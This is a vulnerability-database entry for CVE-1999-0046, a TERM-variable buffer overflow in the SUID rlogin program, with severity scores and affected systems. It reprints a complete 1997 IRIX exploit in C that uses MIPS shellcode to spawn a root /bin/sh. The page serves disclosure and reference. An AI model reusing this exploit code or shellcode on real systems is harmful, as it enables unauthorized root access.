CVE-1999-0046 : Detail

CVE-1999-0046

Overflow
0.35%V3
Network
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow of rlogin program using TERM environmental variable.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19203

Publication date : 1996-12-03 23h00 +00:00
Author : Roger Espel Llima
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/242/info The SUID rlogin program is used to establish remote sessions. A buffer overflow condition has been found in the rlogin program that may allow an unauthorized user to gain root access. The overflow in particular is in the rlogin code that handles the TERM enviroment variable. Similar bugs have been known to exist in some telnetd implementations. NOTE: The vulnerability was updated august 2, 2000 to reflect certain versions of IRIX to be vulnerable. */ /*## copyright LAST STAGE OF DELIRIUM oct 1997 poland *://lsd-pl.net/ #*/ /*## /usr/bsd/rlogin #*/ #define NOPNUM 4940 #define ADRNUM 5000 #define ALLIGN 2 char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland //lsd-pl.net/\n"); printf("/usr/bsd/rlogin for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n"); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10288+7000; envp[0]=buffer; envp[1]=0; b=buffer; sprintf(b,"TERM="); b+=5; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execle("/usr/bsd/rlogin","rlogin","localhost",0,envp); }

Products Mentioned

Configuraton 0

Bsdi>>Bsd_os >> Version 1.1

Bsdi>>Bsd_os >> Version 2.0

Bsdi>>Bsd_os >> Version 2.0.1

Bsdi>>Bsd_os >> Version 2.1

Debian>>Debian_linux >> Version 0.93

Digital>>Ultrix >> Version -

Freebsd>>Freebsd >> Version 1.1.5.1

Freebsd>>Freebsd >> Version 2.0

Freebsd>>Freebsd >> Version 2.0.5

Freebsd>>Freebsd >> Version 2.1.0

Freebsd>>Freebsd >> Version 2.1.5

Hp>>Hp-ux >> Version 10.00

Hp>>Hp-ux >> Version 10.01

Hp>>Hp-ux >> Version 10.08

Hp>>Hp-ux >> Version 10.09

Hp>>Hp-ux >> Version 10.10

Hp>>Hp-ux >> Version 10.16

Hp>>Hp-ux >> Version 10.20

Hp>>Hp-ux >> Version 10.24

Hp>>Hp-ux >> Version 10.30

Hp>>Hp-ux >> Version 10.34

Ibm>>Aix >> Version 3.2

Ibm>>Aix >> Version 4.1

Ibm>>Aix >> Version 4.1.1

Ibm>>Aix >> Version 4.1.2

Ibm>>Aix >> Version 4.1.3

Ibm>>Aix >> Version 4.1.4

Ibm>>Aix >> Version 4.1.5

Netbsd>>Netbsd >> Version 1.0

Netbsd>>Netbsd >> Version 1.1

Next>>Nextstep >> Version -

Oracle>>Solaris >> Version -

Oracle>>Solaris >> Version 2.5.1

Oracle>>Solaris >> Version 2.6

Oracle>>Solaris >> Version 7.0

Oracle>>Solaris >> Version 8

Sun>>Sunos >> Version 4.1.3u1

Sun>>Sunos >> Version 4.1.4

Sun>>Sunos >> Version 5.3

Sun>>Sunos >> Version 5.4

Sun>>Sunos >> Version 5.5

Sun>>Sunos >> Version 5.5.1

References